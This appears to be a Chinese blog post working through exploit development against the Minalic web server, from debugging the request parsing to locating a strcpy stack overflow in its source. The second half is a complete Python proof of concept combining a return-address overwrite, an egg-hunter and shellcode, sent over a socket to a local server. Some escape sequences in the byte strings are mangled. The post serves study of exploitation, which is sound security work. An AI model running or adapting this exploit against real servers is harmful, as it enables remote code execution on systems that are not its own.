egg-hunter之——minalic开源WEB服务器学习

下载地址  http://www.exploit-db.com/wp-content/themes/exploit/applications/2b0e04c048c9b84b12f742ae38136de6-minalic.zip

首先编写一个python socket 脚本,发现 OD载入程序后下断 recv 居然不能断下,然后深入发现  调用的其实是WSARecv 源码中只是利用了开启一个线程,但是

编译器却安排了 WSARecv ,百思不得其解················可能是编译器优化吧

网上COPY下来:

recv操作默认是阻塞的,没有数据到来,所在的线程会一直被挂机。
而WSARecv是非阻塞的,只是向iocp队列投递了一个recv操作就立刻返回了,线程继续向下执行。
而你要做的是不停的从iocp完成队列获取已经完成的操作,并处理获得的数据。这个投递操作的线程是并行的。


首先观察 结尾必须为  连续两个 " "

下面还有大量的分析包数据的检查··········

这种情况一般就直接发正常包去分析······················································

00EAF738  47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A  GET / HTTP/1.1..
00EAF748  41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 69  Accept: image/gi
00EAF758  66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 6D  f, image/x-xbitm
00EAF768  61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C 20  ap, image/jpeg,
00EAF778  69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70  image/pjpeg, app
00EAF788  6C 69 63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B  lication/x-shock
00EAF798  77 61 76 65 2D 66 6C 61 73 68 2C 20 61 70 70 6C  wave-flash, appl
00EAF7A8  69 63 61 74 69 6F 6E 2F 78 2D 6D 73 2D 61 70 70  ication/x-ms-app
00EAF7B8  6C 69 63 61 74 69 6F 6E 2C 20 61 70 70 6C 69 63  lication, applic
00EAF7C8  61 74 69 6F 6E 2F 78 2D 6D 73 2D 78 62 61 70 2C  ation/x-ms-xbap,
00EAF7D8  20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64   application/vnd
00EAF7E8  2E 6D 73 2D 78 70 73 64 6F 63 75 6D 65 6E 74 2C  .ms-xpsdocument,
00EAF7F8  20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 61 6D   application/xam
00EAF808  6C 2B 78 6D 6C 2C 20 2A 2F 2A 0D 0A 41 63 63 65  l+xml, */*..Acce
00EAF818  70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D  pt-Language: zh-
00EAF828  63 6E 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64  cn..Accept-Encod
00EAF838  69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61  ing: gzip, defla
00EAF848  74 65 0D 0A 49 66 2D 4D 6F 64 69 66 69 65 64 2D  te..If-Modified-
00EAF858  53 69 6E 63 65 3A 20 4D 6F 6E 2C 20 30 39 20 4A  Since: Mon, 09 J
00EAF868  75 6E 20 32 30 31 34 20 31 35 3A 33 34 3A 31 31  un 2014 15:34:11
00EAF878  20 47 4D 54 0D 0A 55 73 65 72 2D 41 67 65 6E 74   GMT..User-Agent
00EAF888  3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63  : Mozilla/4.0 (c
00EAF898  6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20  ompatible; MSIE
00EAF8A8  36 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20  6.0; Windows NT
00EAF8B8  35 2E 31 3B 20 53 56 31 3B 20 2E 4E 45 54 20 43  5.1; SV1; .NET C
00EAF8C8  4C 52 20 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E  LR 2.0.50727; .N
00EAF8D8  45 54 20 43 4C 52 20 33 2E 30 2E 34 35 30 36 2E  ET CLR 3.0.4506.
00EAF8E8  32 31 35 32 3B 20 2E 4E 45 54 20 43 4C 52 20 33  2152; .NET CLR 3
00EAF8F8  2E 35 2E 33 30 37 32 39 29 0D 0A 48 6F 73 74 3A  .5.30729)..Host:
00EAF908  20 31 32 37 2E 30 2E 30 2E 31 3A 38 30 38 30 0D   127.0.0.1:8080.
00EAF918  0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65  .Connection: Kee
00EAF928  70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 65 3A  p-Alive..Cookie:
00EAF938  20 73 74 79 6C 65 3D 64 65 66 61 75 6C 74 0D 0A   style=default..
00EAF948  0D 0A                                            ..


满足条件即可使用······················

可以测试出

junk1 = "A"*(0xFE-len("/"))//下图可以推断 junk1 的长度
junk2 = "B"*0x100 
junk3 = "C"*300 

 PAYLOAD = "GET /" +junk1+ " HTTP/1.1 " +"Host: "+ junk2 + " Accept: xxxxxxxxx "+ "User-Agent: xxxxx"+junk3+" "


下面可以推断  junk2 为 0x100 大小


下面规定了总大小·····················



幸运的是没有检查字节``````````


LEAVE指令 相当于:
MOV SP,BP
POP BP


可以看到 直接跳去  ECX   但是长度不够,我们用 egg hunting技术  详细查看

 http://blog.csdn.net/zcc1414/article/details/28112313#t2


现在查看源文件的漏洞地点:

static Result retrieve_physical_file_name_or_brows(Response *self, Request *req, char *physical)
{
	char				file[FILE_SIZE];
	size_t				last;
	char *				host;
	Directorybrowser	*dir_brows = NULL;
	int					can_brows_dir = 0;
	int					has_default_file;
	char				*brows_data = 0;
	Result				res;
	int					is_root = 0;
	int                 i;
	
	assert(self);
	assert(req);
	assert(physical);

	/* Add the server web path to the filename*/
	strcpy(file, g_wwwroot_path);
  	strcat(file, req->_file);/////////////////在解析 包头时没有对 它进行限制什么的  默认的是  index.htm 是一个文件名称

    /* Convert webslashes to fileslashes*/
    for (i = 0; file[i] != ''; i++)<span style="font-family: Arial, Helvetica, sans-serif;">/////////////执行</span>
    {
        if (file[i] == '/')
            file[i] = '\';
    }

	/* Get the last character in the file name*/
	last = strlen(file) - 1;
	assert(last > 0);

	/* If the filename ends with a slash it means that a default file is requested*/
	if (file[last] == '\')<span style="font-family: Arial, Helvetica, sans-serif;">////////////不/执行</span>
	{
		/* Create a directory browser object that can decide if to browse the directory*/
		dir_brows = directorybrowser_create(file, g_conf_brows_default, req->_file);
		can_brows_dir = directorybrowser_can_brows(dir_brows);
	
		has_default_file = add_default_file(file);###########默认这里会将之添加为 index.htm

		if (can_brows_dir && !has_default_file) 
		{
			/*Perform the directory browsing*/
			directorybrowser_get_brows_data(dir_brows, &brows_data);
			assert(brows_data);
			res = response_send_data(self, req,brows_data, "text/html");
			directorybrowser_delete(dir_brows);
			if (OK == res)
			{
				return ENDED;
			}
		}
		else
		{
            directorybrowser_delete(dir_brows);      
        }
	}
	/*
	 * If no default file is requested go on and try to figure out
	 * if the requested file is a physical file or a directory.
	 */
	else if (is_directory(file))////////////////不执行
	{
		/* If the requested file is a directory not ending with a slash (default file)
		 * tell the browser that it should request the directory with a slash.
		 * This is done by send the message MOVED PERMANENTLY to the browser
		 * with the new file name including a slash.
		 */
		/* Get the host name that is needed when building new URL*/
		host = map_getval(req->_headers, "Host:");
		if (host == NULL)
			return ERR;
		/* Start build a new URL*/
		strcpy(file, "http://");
		strcat(file, host);
		strcat(file, req->_file);
		/* Add a slash (default file)*/
		strcat(file, "/");
		/* Send the response*/
		response_send_moved_permanently(self, file);
		/* Return that the response is already taken care of*/
		return ENDED;
	}
	/* Return the physical file name*/
	strcpy(physical, file); //可以看到  发生的漏洞地点在这里!!!!!!!!!!!!!!!!
	return OK;
}


POC: PYTHON

#coding:utf-8
import socket
#Log data, 条目 18
#地址=7C9565A6
#消息=Found  CALL ECX at 0x7c9565a6     Module:  C:WINDOWSsystem32
tdll.dll

egghunter = ("x83xe2x01"+ #and edx,0x1
	"x66x81xCAxFFx0Fx42x52x6A"+  
    "x02"+
    "x58xCDx2Ex3Cx05x5Ax74xEFxB8"+
    "x70x61x6ex64"+
    "x8BxFAxAFx75xEAxAFx75xE7xFFxE7")

shellcode=("xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"+ 
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"+
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"+  
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"+  
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"+  
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"+  
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"+  
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"+  
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"+  
"x53"+  
"x68x64x61x30x23"+  
"x68x23x50x61x6E"+  
"x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8") 


ret = "xa6x65x95x7c"
#182 bytes
junk1 = "A"*170 +ret+8*"a"

#256=0x100  
##################egg  用pand 连续两个 egg  是 egg hunting 的特点
junk2 = "pandpand" + shellcode + "B"*(256-len(shellcode)-len("pandpand"))

junk3 = "C" * 378+ egghunter + "c" * (1354-378-len(egghunter))
#"C"*378 + 348
#1354

########################################################################################################################
1)junk1 中 把 返回地址 覆盖为 ntdll 中的  call ecx ; 
2)ecx 指向  junk3 中的空间 ,junk3中放入 egg hunter ,
3)在junk2 中放入 shellcode 然后egg hunter 搜索到egg 后执行 shellcode后运行(是后向前执行)
########################################################################################################################

buf = "GET /" +junk1+ " HTTP/1.1
" +"Host: "+ junk2 + "
Accept: xxxxxxxxx
"+ "User-Agent: xxxxx"+junk3+"

"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8080))
s.send(buf)











原文地址:https://www.cnblogs.com/zcc1414/p/3982351.html